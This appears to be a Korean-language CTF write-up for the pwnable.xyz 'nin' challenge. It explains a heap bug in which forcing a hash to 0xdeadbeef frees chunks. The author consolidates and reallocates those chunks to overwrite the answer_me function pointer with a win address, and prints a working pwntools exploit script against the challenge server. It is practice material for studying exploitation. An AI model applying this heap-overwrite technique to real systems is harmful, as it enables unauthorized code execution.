입력 받은 데이터만큼 힙을 할당 받고 reznor_struct가 null인 경우 inivite_reznor함수를 호출한다
initvite_reznor함수에서는 힙을 할당 받고 0에는 문자열이 저장된 힙 주소를 저장하고 +8에는 answer_me함수의 주소를 저장한다
이후에 answer_me함수를 호출하고 처음 strdup로 할당된 청크를 free한다
위 함수에서는 수와 문자열을 입력 받고 hash_gift함수의 반환 값이 0xdeadbeef가 되면 reznor에서 할당된 청크들을 해제한다
0xdeadbeef 맞춰서 청크 2개 해제시키고 0xff할당 받아서 병합 시킨담에 병합된 청크 할당 받아서 answer_me를 win으로 덮어줬다
from pwn import *
p = remote("svc.pwnable.xyz", 30034)
#p = process("./nin", env={"LD_PRELOAD" : "./alpine-libc-2.24.so"})
def user_input(data):
p.recvuntil(b"@you> ")
p.send(data)
def gift(length, data):
p.recvuntil("be: ")
p.sendline(str(length))
p.recvuntil(b"gift: ")
p.send(data)
win = 0x400cae
deadbeef = b"\xff" * 223 # dead
deadbeef += b"\x8c"
deadbeef += b"\xff" * 191 # beef
deadbeef += b"\xae"
deadbeef += b"\x00" * 32
user_input(b"/gift\n")
gift(len(deadbeef), deadbeef)
payload = b"A" * 0xff
user_input(payload)
payload = b"A" * 0x28
payload += p64(win)
payload += b"A" * 0x30
user_input(payload)
p.interactive()
※ 버그가 2개라는데 다른 한개를 모르겠다
다시 보니까 굳이 병합해서 풀 필요가 없었다
'pwn > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / words (0) | 2022.05.25 |
---|---|
pwnable.xyz / notebook (0) | 2022.05.25 |
pwnable.xyz / Dirty Turtle (0) | 2022.05.24 |
pwnable.xyz / Hero Factory (0) | 2022.05.24 |
pwnable.xyz / note v2 (0) | 2022.05.24 |